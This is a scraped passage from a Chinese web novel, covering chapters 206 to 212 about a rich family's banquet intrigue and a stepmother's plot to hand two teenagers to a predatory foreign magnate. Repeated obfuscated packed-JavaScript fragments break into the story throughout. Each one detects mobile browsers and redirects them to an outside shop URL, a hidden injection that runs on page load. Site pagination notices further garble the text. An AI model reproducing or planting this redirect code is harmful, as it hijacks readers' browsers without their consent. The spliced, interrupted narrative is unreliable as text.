谁懂啊?原本以为自己手握剧本占尽先机,没想到结果竟是自己走错了片场,真啥也不是。 因为一个白月光的话题,姜花衫再次陷入了深思。 傅绥尔明显感觉到从食堂出来后,姜花衫的情绪很不稳定,但碍于沈归灵在场她也不好问,只能默默观察。 育才的医疗条件相当于一家私人医院,为了随时为少爷小姐们服务,医师们午休时间都是轮班的。 姜花衫额头的红肿已经有碍观瞻了,校医简单问了几个问题立马带着她去休息室包扎。 一行人刚进房间就看着一个女生脸包的跟木乃伊似的,躲在最角落的床边。 “来,坐着。” 校医手里拿着一个冰袋,轻轻贴在姜花衫的额头上,“没有破口,应该问题不大,先用冰袋消肿,等二十分钟后再观察看看。” 不等姜花衫回话,校医目光在沈归灵和傅绥尔身上转了一圈,最后坚定落在沈归灵身上,“同学,麻烦你替她拿着。” 沈归灵神情微动,左右看了看,“我?” 校医点头,“对,像这样让她躺着,轻一点,重了伤口会痛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064559|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜花衫见状,立马把鞋脱下,掀开被子笔直躺了进去。 “……”沈归灵默默走到床边,校医顺手搬来凳子,把手里的冰袋递给他,临走时还不忘细心叮嘱:“要是冰袋不凉了那里有替换的,麻烦你多注意,要是消肿后里面有血块一定要马上通知我们。” 沈归灵接过冰袋,“好。” 傅绥尔笑嘻嘻凑上前,“衫衫,那…我先出去一下,待会儿再来看你?” 不用猜也知道,傅绥尔一定是想去找沈眠枝,姜花衫闭着眼睛,摆摆手,“去吧。” 傅绥尔转身,不经意往角落瞥了一眼,女生一直背对着她们,她略有斟酌,轻轻点了点沈归灵的肩膀,“阿灵哥,拜托你了。” 沈归灵点头,傅绥尔这才放心出了休息室。 角落里的人不是别人,正是被打成猪头脸的赵棠。 早上,萧澜兰借着讲戏的名义,甩了她三十多个耳光,脸都被打烂了,当时她已经神志不清,要不是苏韵及时出手相助,后果不堪设想。 前有傅潇潇,后有萧澜兰,现在的赵棠可谓惊弓之鸟,所以在听到姜花衫的声音时表现得直接吓傻了,直接用绷带把整个脸都蒙住了躲进了角落。 休息室里很安静,针落可闻。 赵棠的心脏一直在扑通扑通地跳,她就不明白了,怎么老是能在医务室遇见姜花衫。 她小心转头脸,借着绑带之间的缝隙偷偷那斜对面的男女。 女孩儿好像睡着了,男生低垂着眉眼,轻轻滚动着手里的冰袋,他的指尖在距离她额头不足半寸的上空慢慢划过,冰袋小心翼翼在温热的掌心和白皙的额头之间游走。 这章没有结束,请点击下一 页继续阅读! 第207章 金湾夜宴 沈归灵,“你保护我?” 这三年来,不管谁来欺负他,她都要再跑来补一脚,现在竟然反过来跟他说,要保护他? 谁信? 沈归灵撩开眼眸,抬指摸了摸她的额头,“真撞傻了?” “嘶!”姜花衫痛得倒吸了一口凉气,条件反射一个手刀对着他的胳膊劈去。 沈归灵眼明手快,微微收手,姜花衫的手刀直接落进了他的掌心。 沈归灵笑了笑,指尖半捏着她的掌心,“带你去,别动手。” * 金湾晚宴七点正式开始。 从鲸港到金湾车程大概两个小时,中途还要预留装扮的时间,所以等姜花衫额头的红肿大致消退,沈归灵就带着她离开了学校。 雷行一早就知道今天的行程,按原定计划在车里等候,冷不丁看见同行的人多了一个,还是个祖宗,吓得连上前开门的礼节都忘了。 沈归灵只能代劳,等姜花衫上车后才若无其事跟雷行说明情况,“衫衫一起去。” 雷行有些犹豫,“阿灵少爷,金湾在南湾区,而且现在还是上课时间,是不是应该跟老爷子报备一下?” 沈家现在谁不知道,这祖宗可是老爷子的心头宝,她要是磕了碰了,随行的一干人等都别想好过。 沈归灵,“已经跟爷爷说过了。” 这时,姜花衫从车窗探出头,“磨磨蹭蹭说什么呢?” “没事,我会看着她。”沈归灵拍了拍雷行的肩膀,转身绕过车身,从另一边拉门上车。 雷行这才松了口气,立马恢复工作状态。 车辆从育才驶出后直接出城转去了高架,秋日艳阳,外面的世界与校园生活天差地别,随处可见城市的繁华与喧嚣。 姜花衫隔着一层透明玻璃打量眼前这座钢筋丛林,上一世,十八岁之前,她几乎所有的记忆都在校园里,对于鲸港的一切都很陌生。 雷行看出了姜花衫眼里的好奇,笑道,“姜小姐还没有去过金湾吧?” 姜花衫摇头,她忽然想到什么,转头看向沈归灵,“我记得你好像是南湾人?金港也在南湾区,是不是离你家很近啊?” 沈归灵没想到姜花衫会突然问这个,点了点头,“嗯,很近。” 姜花衫转过头若有所思,上一世沈归灵在爷爷去世后一年强势归国,并且选在南湾入仕,短短三年时间就做到了南湾州长的位置,看来这一切并非偶然。 雷行笑呵呵,“姜小姐很关心少爷啊。” 姜花衫呵呵笑了两声,“一般。” “……”一般是什么意思? 雷行偷偷观察沈归灵,见他没什么反应立马转过话题,“姜小姐,之前不知道您会出席所以没有来得及准备你的礼服,好在慈善晚宴规格要求也不高,我刚刚已经联系好了金湾那边的公关公司,到时候还请您将就一下。” 姜花衫立马转过头看着沈归灵,“记住啊,我这次可是为了你才将就的。” 沈归灵睨了她一眼,倒是挺会因势乘便。 他笑着敷衍,“嗯,记住了。” * 金湾区,海市蜃楼。 金碧辉煌的水晶灯挂满了整个宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064560|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厅,会场的工作人员正在有条不紊一一确定宴会细节。 闪烁的霓虹,芬芳扑鼻的红酒香,人为的一场顶级盛宴生生把厅内和厅外分割成了两个世界。 酒店顶层的包间里。 姚歌和一群政界女官已经提前进入宴会时间了,十米长的横厅前,乌泱泱跪着一群男模。 能进入姚歌圈层的都不是普通的政界官要,私密性自然是不用说,大家精神放松,任由男模挑逗,心情好的时候还会偶尔回应。 每每看见这些人在她精心策划的布局里沦陷,姚歌都会有一种掌控一切的成就感。 眼前这些人可握着金湾大半个命脉,掌握了她们,半个金湾就掌握。 “阿歌,今天这场宴会的礼备的不轻啊。” 一个年近五十,保养得体的中年女人从包间里走了出来。 姚歌起身,端起桌上的红酒递给女人,又意味深长指了指女人嘴角抹花的口红,“严州长,玩得开心吗?” 晚上的慈善宴邀请了很多新闻媒体,镜头前容不下一丝污秽,所以姚歌才特意把宴会提前了。 严梅婷接过高脚杯,举杯一饮而尽,“走吧,上去聊聊。” 姚歌仰头一口饮尽,红酒的微涩在齿颊流过,但咽下之后口腔余味缭绕唇齿留香。 看着严梅婷上楼的背影,姚歌嘴角的笑容真切的几分。 眼下就跟品酒是一个道理,这三年她汲汲营营是涩,但只要她能成功拿下金湾这条线,以后就是回味无穷的甘甜。 因为很快,她的阿年就能回来了。 …… 第208章 入宴 晚上七点,宴厅的灯火辉煌,美人谈笑酒气飘香。 嘉宾们或西装革履,或珠光宝气穿梭在觥筹交错的名利场。 之前还在包间放浪形骸的金湾G官们此刻完全判若两人,个个穿着严肃保守的套装礼服,举手抬足间都是一板一眼。 严梅婷的演技更是精湛,偶尔有人上前敬酒,她都只以白开水回敬,还要装出一副平易近人的样子说自己不会喝酒。 姚歌坐在专属包间里,身后是一副巨幕监控,宴厅里所有人的一言一行都在她的掌控之中。 “罗神父到了吗?” 她手里端了一只香槟,略带享受一一扫过屏幕里的每个细节。 身边的特助立马拿出手机,“罗神父半个小时前已经抵达了酒店,他的助理说神父参加宴会之前还有场信徒会,可能会迟到半个小时。” 在酒店开信徒会? 还真是身体力行的引导。 姚歌嗤笑了一声,晃动手里的香槟,“白家那位呢?” 特助,“那位先生也已经准备好了,到时候会准时出席。” 姚歌指尖一顿,眼里的光变得幽暗,“那个野种呢?到哪了?” 特助表情有些微妙,“五分钟前已经跟阿灵少爷打电话确认了,应该快到了。” 闻言,姚歌略有深意扫向特助,“都准备好了吗?” “准备好了。”特助有些犹豫,“夫人,阿灵少爷毕竟代表了沈家的颜面,这么做要是让先生和老爷子知道了,只怕……” “怕什么?!”姚歌瞬间变脸,指尖死死抓着手里的玻璃杯,“只要能帮沈谦拿下金湾的支持率,你以为他会在乎一个野种的死活?至于老爷子,他在A国是能一手遮天,但A国之外,他老人家说的也不算。” 特助看着姚歌一秒变扭曲的脸,也不敢再质疑。 姚歌语气不善,“那个野种可没那么好骗,你到时候机灵点别出岔子了。” 特助点头,“是,夫人。” 姚歌闭了闭眼,长舒了一口气,忽地脸上又端起优雅的笑,“走吧,是时候出去招待客人了。” “……”特助低头,默默跟上。 * “就这?” 姜花衫穿着一件简单的白色礼裙站在宴厅门口张望,因为额头有伤特意没有上妆,好在她这张脸浓艳相宜,哪怕不化妆也撑得起身上的礼裙。 沈归灵递上邀请函,侧身看着她,“你先过来,我们一起进去。” 少年一身剪裁得体的笔挺西装,宽肩窄腰,就是一个背影都引得厅外等待入场的宾客驻足回望。 姜花衫乖乖走到沈归灵身边,她刚刚仔细观察了,这里的安防比之前参加的宴会规格高许多,从现场安保人员的眼神和气势,姜花衫推断他们应该不是酒店保安,而是专业保镖。 “对不起贵宾,您的邀请函只有一张,按规矩只能您一个人进去。” 负责接待的美女反复确认了沈归灵的身份后,直接拦下了姜花衫和雷行。 不等沈归灵说话,姜花衫先发制人,“沈龟灵,要不这样,你把你的邀请函给我,让我先进去。你后妈为了找茬一定舍不得你在外面逍遥快活。” 沈归灵当作没听见,转头看向雷行,雷行会意,转身走到角落打电话。 姜花衫慢悠悠半倾身子,在他耳边嘀咕,“你没告诉你后妈我要来?” 沈归灵感觉耳朵痒痒的,微微躲开,正好看见姚歌脸色阴沉从宴厅里走了出来。 他立马笑了笑,低下头轻声道,“现在说也不迟。” 姚歌是这场宴会的主办人,她的出现立马引起了一阵骚动,美女接待见状连忙从接待区走了出来。 “夫人。” 姚歌先扫了沈归灵一眼,等转到姜花衫时脸上的笑容毫无破绽,“衫衫,你怎么来了?” 三年时间已经足够教会姚歌该怎么对待姜花衫。 当年夜宴,姜花衫跟萧澜兰发生冲突,老爷子竟将亲生女儿逐出沈园,即便二房后来为沈娥说尽好话也无济于事,到现在沈娥还是沈家的边缘人物,就连进家族群的资格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064561|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都没有。 姜花衫挂着一眼假的假笑,“大伯母不欢迎我?” 姚歌轻轻拍了拍她的肩膀,“哪里的话?不过今晚宴会邀请的都是些长辈,我是怕你无聊。” 姜花衫,“大伯母多虑了,我要是无聊肯定会自己找事玩的。” 姚歌嘴角抽搐,低声商量,“衫衫啊,今天的晚宴对你大伯,不!是对沈家来说至关重要,就算大伯母请你帮忙,你可千万别胡闹。” 说胡闹已经是客气了,三年来,姜花衫一不高兴就发疯,随时随地让人下不来台,沈家人都被她整的有阴影了。 但最邪门的还是老爷子,就跟猪油蒙了心似的,纵她个无法无天。 “我懂我懂。”姜花衫一副好说话的样子,“您放心,我心里有数。” 姚歌一百个不放心,但祸坨子都已经到门口了,要不让她进去说不定闹的更大。 权衡再三,姚歌笑着从迎宾花篮里拿了一只花环替她戴上。 “行吧,去玩吧。” “谢谢大伯母。” 姚歌笑了笑,转眼看向沈归灵,表情不觉就傲了起来。 沈归灵十分乖觉,上前颔首,“夫人。” 姚歌淡淡点头,“你也进去吧,今天来了很多你爸爸的老朋友,到时候你替你爸爸好好招待。” 沈归灵点头,与姜花衫一起肩并肩进了宴厅。 姚歌看着姜花衫的背影,眼底浮过一片阴翳。 “阿然,待会进去的时候多派几个人看着她,还有,给她单独准备一份食物,务必看着她拿,不要弄错了。” 莫然微愣,早就听说沈家有位小祖宗,虽然是养女,但因为备受沈老爷子喜欢在家里地位超然,想必就是刚刚那位了。 “是,夫人。” 姚歌还是有些不放心,回头看着莫然的眼睛,“这小野种一定是故意把姜花衫带来的,今晚的事绝不能出任何差错,不然……” 莫然吓的打了个冷颤,“是,夫人请放心,都安排好了。” …… 第209章 坚决扞卫 姜花衫步入宴厅后,立马被舞台的巨屏吸引住了。 还真是慈善晚会,舞台上的水晶屏幕一直滚屏播放着某某企业、某某行业董事长为金湾教育事业资助了XXXXXX元。 上面的慈善机构也是五花八门,其中最惹人瞩目的还是天恩教育慈善基金会,其捐款金额遥遥领先足足有五千万。 捐赠者的荣誉墙后,又是一幅巨幕海报,上面清楚写着金港过去五年时间里,被资助者的前后对比,以及当地教育师资的提升。 宴会里的人要么风度翩翩,要么端庄婉约,举杯交错间不是对金湾领导人的赞美,就是对未来格局规划的探讨。 高端局。 姜花衫探头探脑,就像还没长大的孩子乱入了成人丛林,对什么都好奇。 “这种老人局,你后妈叫你来做什么?” 沈归灵沉默,她是怎么做到这么刻薄还装都不装一下的? 姚歌跟着入宴,目光在两人之间逡巡了一圈,挑眉朝莫然使了个眼色。 莫然会意,笑着上前与姜花衫搭话,“姜小姐,果汁和点心都在那边,我带您过去?” 姚歌顺势拍了拍沈归灵的肩膀,“阿灵,正好,你爸爸的老朋友也在那边,你跟我一起去打个招呼。” 姜花衫眼珠转了转,拉着莫然,“你说的果汁在哪啊?” 莫然立马往前领路,“我带您去。” 姚歌顺势带着沈归灵走向高官席位。 “严州长。” 严梅婷正偏头与身边的秘书说话,忽然听见姚歌的声音,一抬头就被眼前的少年惊艳住了。 皮相绝秀,骨相矜贵。 纵是她阅人无数,也没见过这等神仙颜色。 严梅婷不动神色,笑着站起身与姚歌寒暄,“沈夫人。” 姚歌看向沈归灵,“严州长,给你介绍一下,这是……我先生的小儿子,沈归灵。阿灵,这位是你爸爸老朋友,严州长。” 沈归灵眼眉温柔,“严阿姨好。” 严梅婷嘴角的笑容微僵,点点头,“你就是阿灵,我时常听沈部长提起你。” 当初沈谦下调南湾任南湾地方宣传部长,职位比严梅婷这个州长低了三级不止。 姚歌朝身边的服务员使了个眼色,立马有人端了两杯红酒上前,“阿灵,严州长可是你爸爸在南湾的好朋友,初次见面,你陪严州长喝一个吧?” 沈归灵接过红酒杯。 严梅婷略有深意扫了姚歌一眼,笑着端起桌上的白开水,“明天早上还要开会,我就以水代酒了。” 沈归灵一副顺从的模样,端起酒杯正好喝,忽然有人从他和姚歌中间挤了进来, 下一秒,柔软的掌心覆盖住他的指尖,趁他晃神时拿走了他手里的红酒杯。 还没等沈归灵反应过来,掌心就多了一杯橙汁。 “都跟你说多少遍了?男孩子在外面一定要保护好自己,你怎么非是不听?” 沈归灵盯着手里的橙汁看了三秒,才慢慢抬眸。 姜花衫一手端着草莓汁,一手拿着红酒,她没有看他,正笑吟吟看着眼前的严梅婷。 姚歌一下没反应她是从哪钻出来了,回头瞪了莫然一眼。 这里是金湾,严梅婷还没见过有人敢在金湾对她这么放肆,但毕竟是官场沉浮的老人,也不至于因为这点事就沉不住气。 严梅婷笑了笑,目光带了姚歌一眼,“这位是?” 姚歌尴尬笑了笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064562|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “让你见笑了,这是家里的小侄女。衫衫,这位是金湾州长,叫严姨。” 严梅婷一听是沈家的人,眼里的善意多了几分。 姜花衫皱眉,挑眼打量严梅婷,“原来就是个金湾的州长啊?大伯母你又跪又舔的,害我以为来了什么了不起的大人物?” 严梅婷目光一怔。 “!” 又发癫了! 姚歌嘴角的笑容险些要裂开了,呵呵遮掩,“严州长见谅,小孩子胡说八道不懂事。” “大伯母你也知道我们是小孩子?沈归灵下下下个月才满十八岁,严格来说他现在未成年,你竟然逼他陪酒?” 姚歌和严梅婷眼皮同时一跳。 沈归灵慢慢垂眸,继续盯着手里的橙汁。 姚歌,“什么陪酒?我不过是让阿灵来打个招呼的。” “哦。”姜花衫点头,顺手把手里的红酒递给严梅芳,“既然是打招呼,哪有大人喝水小孩喝酒的道理?” 严梅婷看着眼前的红酒,眼角的笑容也冷了下来,“沈夫人,贵府家中的孩子还真是幽默。” 姚歌正要说话,姜花衫直接晃动酒杯,将杯中一半红酒泼了出去。 “怎么?严州长是看不上我们小辈敬酒吗?看来,我只能请爷爷亲自跑一趟了。” 严梅婷脸色微变,她在金湾是龙头,但出了金湾什么都不是。姚歌之所以对她如此客气,不外乎是指望她能在沈谦竞选议员长一事上出点力,若不是非常时期,她哪值得沈家人低头讨好。 姚歌看出气氛不对,咬牙打圆场,“衫衫,就当给大伯母一个面子,别闹了行不行?” 本小章还未完,请点击下一页继续阅 读后面精彩内容! 第210章 惩戒 名利场多是卑躬屈膝者,但这里面一定不能有沈家人,这是沈庄常常教导他们的话。 沈归灵没忍住,再次抬眸看向身边的少女,她真的很认真在贯彻。 姚歌完全没想到姜花衫还能如此反将一军,这场宴会事关议员长选举,更关乎沈年能不能回来,眼见情况不妙,姚歌不假思索伸手去夺姜花衫手里的酒杯。 “衫衫,你要再胡闹,别怪我亲自动手。” 姜花衫早提防着姚歌,趁她上手之际轻轻转动手腕,指尖一松,高脚水晶杯垂直砸向地面。 砰的一声碎响,引起了不小骚动。 “你……” “你什么?”姜花衫反扣住姚歌的手腕,在她耳边低语,“家族荣誉从来不是哪一个人的事,而是每个家族成员应该共同扞卫的荣誉。大伯母如果连这个道理都不懂,爷爷怎么能放心大伯父再坐议员长之位?” 这话让姚歌心下一惊,还没反应过来就看见一群西装革履的男人从人群里走来,为首的男人身形异常高大,移动时就像一座小山。 莫然见状上前阻拦,“你们是什么人?!” 来人一把拂开莫然,气势汹汹停在姜花衫面前。 “姜小姐。” “郑松?”姚歌此刻脸色的惊慌才真正显露出来,“你怎么会在这?” 姜花衫,“我出门时跟爷爷说了来金湾玩,爷爷怕我玩的不开心就把郑松打发来了。” 说的轻巧,郑松可是沈庄的专属保镖,平日里寸步不离,现在竟然因为姜花衫出现在金湾?这可是连沈兰曦都未必能有的待遇。 姚歌勉强稳住心神,一把挣脱姜花衫的手,“你到底想做什么?我警告你,今天的宴会不容有失,否则有损的也是沈家的颜面。” 姜花衫一脸轻松,“放心放心,我知道。”随即偏头点了点严梅婷,“郑松,请严州长出去喝罚酒。” “?”严梅婷一脸愕然,转头看向姚歌,“沈夫人!” 姚歌也是一脸难以置信,“什么喝罚酒?” 姜花衫眼睛噙着亮晶晶的笑,“我早说过了,不喝敬酒就喝罚酒,这严州长自己选的,都是成年人了,已经可以为自己的选择买单了。郑松,还愣着做什么?” “是。” 郑松长了一张标准的恶人脸,半张脸还纹着半鬼刺青。严梅婷眼看着这样的恶徒步步逼近,吓的两股颤颤。 不过,她还在赌,赌大庭广众之下,姜花衫不敢。 可惜,她运气不好,郑松像捻小鸡一样把她提起,严梅婷再忍不住吓得尖叫求饶,“姜小姐,我喝!我喝!” 姜花衫嫌刺耳,捂住耳朵,“好吵。” 郑松当即钳住严梅婷的脖子,严梅婷眼前一黑喉间再发不出一丝声音。 这么大的阵势早就引起了宾客们的注意,严梅婷是金湾州长,这里没有人不认识她,可就连她都被人当成小鸡拎在手上,在场谁还敢惹? 姚歌没想到姜花衫胆子这么大,有郑松在场,她也只能收敛脾气说好话,“衫衫,教训一下就算了,大家都看着……” 姜花衫,“我就是要让所有人知道,沈家敬酒不喝,下场就是这样。拖下去。” “是。”郑松全程以姜花衫马首是瞻,她一声命令,男人直接把严梅婷甩在地上,拎着一只胳臂拖了出去。 姚歌气的心脏疼,咬牙,“你怎么敢?她好歹也是金湾一州之长。” 姜花衫,“酒喝不完,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064563|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天就不是了。”说罢,又笑语嫣嫣看向面前一众金湾官员,举起手里的草莓汁,“以后金湾发展还要仰赖在座各位,爷爷在鲸港不能亲陪,我替他老人家敬大家一杯。” 话音一落,高官席大大小小官员立马起立,争先恐后给自己倒酒,直到酒杯溢满才诚惶诚恐双手举杯。 “沈小姐客气了。” 他们大多数都不知道姜花衫的身份,但见她行事如此嚣张连姚歌都奈何不了,便以为是沈家那位嫡小姐。 姜花衫也不解释,侧头与沈归灵碰杯,“干杯。” 她仰头一饮而尽,吞咽时微微眯眼,粉色的唇被草莓汁染成了红彤彤的果肉色。 沈归灵垂眸,将荡漾着一圈圈涟漪的橙汁吞进腹中,一瞬间,他感觉整个口腔都是酸甜的橙香味。 他不喜酸,也不喜甜,但又酸又甜好像一下击中了他的味蕾。 * 宴会小插曲最终被粉饰太平,大家继续歌舞升平谈笑风生,唯一不同的是,再没有人敢靠近沈归灵三步之内,姜花衫就更不用说了,她不管走到哪,方圆五米除了沈归灵没人敢站在她身边。 姚歌看着那一高一矮比肩而立的背影,气得浑身抽搐。 莫然小心走上前,低声提醒,“夫人,白先生来了。” 姚歌神情微动,“在哪?” 莫然,“刚刚在宴厅,不过这会儿已经回房间了。” 姚歌转头看向人群里的沈归灵,思忖片刻终于冷静了下来。 “哼,以为叫个小疯子来我就拿你没办法了?真的太天真了。走!去见见那位白先生。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩 ! 第211章 四十九号档案 顶层总统包间。 “不行!” 姚歌不容置喙打断眼前的男人,“我们之前说好的, 那个小野种随便你怎么玩,但那小贱人不行。” 对面的男人年近四十,肤白棕发,眉骨远比A国人看着深邃许多。男人穿着一身纯黑西装,上衣口袋挂着一根精致的纯金怀表,上面刻着六翼王冠的图腾。 相比姚歌的气急败坏,男人显得十分从容,“沈夫人先别激动,那小丫头当众给你难看,我替你调教调教不正好吗?” 姚歌冷冷看着男人,“她与那个野种可不一样,你也看到了,老爷子对她视若珍宝,她要是在我宴会上出了事,老爷子第一个饶不了我。” 男人笑了笑,“这世间没有完成不了的交易,只有不对等的筹码。我实在是很久没看见这么让我心仪的小东西了,一个张牙舞爪,一个柔顺乖巧,我都已经可以想象驯服他们能给我带来多大的乐趣了。” 姚歌一阵恶寒。 白家人还真如传说中一样变态,当初以为他只好男色,没想到竟然男女通吃。 男人摆摆手,身后的秘书会意,立马从怀中拿出一份文件放在两人之间的茶几上。 “三年前,是沈先生费劲心思搭上我的船,为显诚意我特意瞒着家里来了A国,沈夫人难道连这点要求都不能满足我?” 姚歌看着桌上的文件,眼中多了几分迟疑。 姚俊入狱后,她曾去监狱探视,在她的威逼利诱之下,姚俊终于说出了《四十九号档案》的秘密。 而姚歌也终于明白了,为什么他们姚家都已经距离总统之位一步之遥了还能被人拽下去。 原来这背后不仅仅是沈家,还有傅家,甚至还有白家。 他们所有人都是因为《四十九号档案》坐上了同一艘船。 三十年前,S国提出了《世界金字塔游戏计划》,由当时的白家政权牵头与世界四十九个国家签署了战略一体合约,此合约主要目的就是为了扞卫上位者的利益。 用通俗的话来解释,就是一群上位者企图以世界为舞台搭了一个草台班子,大家达成无国界利益联盟,此后不管是中东战火,还是北海对峙都是金字塔人的剧本。 不要小看这个计划,这些国家之中有不少人涉及军火交易,灰色产业,也就是说只要联盟成立,当他们想要提升财富时,他们可以随时策划两国交战提高军火销量,或者他们也可以随时自导自演国际对立,以巩固本国民众对他们的信仰。 不过后来,有人拒绝在这份文件上签字,《四十九号档案》也就被历史封存了。 近年来,白家女王有意退出政治舞台,白家家主之争日益白热化,白峥,也就是眼前的男人,为了替自己杀出一条血路,便打起了《四十九号档案》的主意。 为了促成联盟,白峥潜入A国,暗中与姚俊达成联盟,两人约定只要白家能助姚俊顺利当选总统,姚俊便要不遗余力促成《四十九号档案》落成。 只可惜,后来计划败露,姚俊不敌沈家反攻,变成了一枚弃子。 姚歌得知此事后,觉得是千载难逢的契机,便向沈谦透露了这件事。 无独有偶,沈谦恰巧从沈归灵那听过《四十九号档案》的事,当时这件事还牵扯了傅家,于是沈谦推断,白峥暗中合作的人远不只有姚家一家,他这是打算在A国几个财团里买股。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14064564|149303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思来想去,沈谦有了主意,他让姚歌借用姚俊之名暗中联系白峥,与A国财团分立不同,白家在S国有着至高无上的君权,如果白峥愿意帮他,沈家家主之位必是他的囊中之物。 白峥也知道沈谦的意图,白家以前不是没试过撬动沈家,只可惜没有成功一次,这次沈谦主动抛来橄榄枝,白峥自然乐见其成,于是双方暗中往来了三年。 眼下正值沈谦竞选议员长的重要时刻,时隔私生子的丑闻也不过短短三年,民众对沈谦的态度并未回温,为了确保此次竞选万无一失,姚歌特意发了一份邮件请白峥相助。 当然,这也是沈谦的意思,他必须要验证一下,白家到底有没有实力做他的盟友。 白峥也是只老狐狸,他并不介意给沈谦一点甜头,但!给的契机很讲究,不能是沈谦说要他就给,如此,双方博弈就失去了平等性。 姚歌精准把控住了白峥的心理,正巧又打听到白峥喜好男色,于是,她立马提出要把沈家少爷送给白峥当玩物,这个筹码足够显示沈家的诚意了。 果不其然,白峥看了沈归灵的样貌后马上应了口,甚至同意亲自来A国。 到目前为止,所有计划还在姚歌的掌握之中,但万万没想到,马上就要交货了,白峥突然提出要多加一个人。 这可就难办了。 白峥见姚歌盯着文件迟迟不表态,故作轻松,“这份名单是我这十几年在A国的所有人脉,难道沈夫人觉得这份量还抵不过一个小丫头?” 姚歌依旧不为所动。 白峥,“听说沈夫人的儿子已经六年没回家了?沈夫人应该很惦记吧?我再送沈夫人一份大礼如何?” …… 第212章 天上掉下个祸坨子 就像白峥说的,只要筹码对等,这世间就没有完成不了的交易。 姚歌站起身,弯腰拿起桌上那份名单,“在A国不行,今晚你们必须出公海。” 白峥站起身,十分绅士地把手伸到姚歌面前,“合作愉快。” * 宴厅里,灯火繁华。 姜花衫游荡了一圈也没找到什么剧情点,一时懒劲上来连打哈欠。 “姜小姐,夫人有请。” 姜花衫眼角还挂着泪花,一副无精打采的样子,“噢,你是大伯母身边那个……” 她见过这个女人,不过没记住她的名字。 莫然微微颔首,“姜小姐,我叫莫然,是沈夫人的贴身秘书。” 姜花衫哦了一声,“你刚刚说大伯母找我?” 莫然,“是,宴厅人多眼杂,夫人请姜小姐去房间说话。” “不去。”姜花衫想也没想直接拒绝。 莫然似乎也料到了她的态度,不卑不亢,“夫人说,姜小姐如果不来,阿灵少爷她就随便处置了。” 姜花衫皱眉,环顾四周,说起来沈归灵也出去好长时间了。 莫然上前一步,轻声低语,“姜小姐也不希望阿灵少爷出事吧?” 姜花衫抬眸睨了眼前的女人一眼,“你替我告诉大伯母,她要是私下处置沈龟灵,我可就没意见了。” 莫然微愣,完全没想到姜花衫会是这样的反应? 方才也不知是谁为了沈归灵大动肝火,怎么转眼又变得连死活都无动于衷了。 姜花衫懒懒打了个哈欠,“好无聊的宴会,那个谁,跟大伯母说一声,我回去了。” 以沈归灵的能力也不可能斗不过姚歌,既然他非得自己撞上去,她又何必多管闲事? 姜花衫摆摆手,直接出了宴厅。 